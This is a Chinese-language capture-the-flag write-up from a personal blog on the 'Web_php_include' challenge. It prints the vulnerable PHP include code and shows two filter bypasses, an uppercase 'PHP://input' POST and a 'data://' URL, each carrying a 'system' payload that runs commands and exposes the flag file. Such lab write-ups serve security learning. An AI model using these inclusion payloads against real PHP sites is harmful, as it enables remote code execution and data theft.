Web – php_include – WriteUp
可谁还记得我呢
发表于 2020-6-2
# Web_php_include ## 题目 ```php <?php show_source(__FILE__); echo $_GET['hello']; //hello变量接受get传参 $page=$_GET['page']; //page变量接受get传参 while (strstr($page, "php://")) { //检查page变量中是否含有字符串"php://" $page=str_replace("php://", "", $page); //将page变量中的“php://”用空字符串代替 } include($page); //文件包含,可以执行page变量中的代码。 ?> ``` ## 思路 本题为简单的文件包含 1. 分析代码可以得知`page`中带有`php://`的都会被替换成空,但由于`strstr()`这个函数是区分大小写的所以可以转换成大小写用`PHP://`,可以使用`PHP://input`POST提交`<?php system("ls")?>`。 2. 由于过滤了`php://`,所以可以使用`data://`伪协议`?page=data://text/plain/,<?php%20system("ls");?>` 可以看到当前目录下有如下`fl4gisisish3r3.php index.php phpinfo.php`文件。 `cat fl4gisisish3r3.php`F12查看被注释的内容获得flag为`$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}` ## 总结 本体为文件包含漏洞的利用。
ldeus
只是一个什么都做不到的普通人
友链
Powered by CloudFlare Workers |
Github
© 2020 ldeus' Blog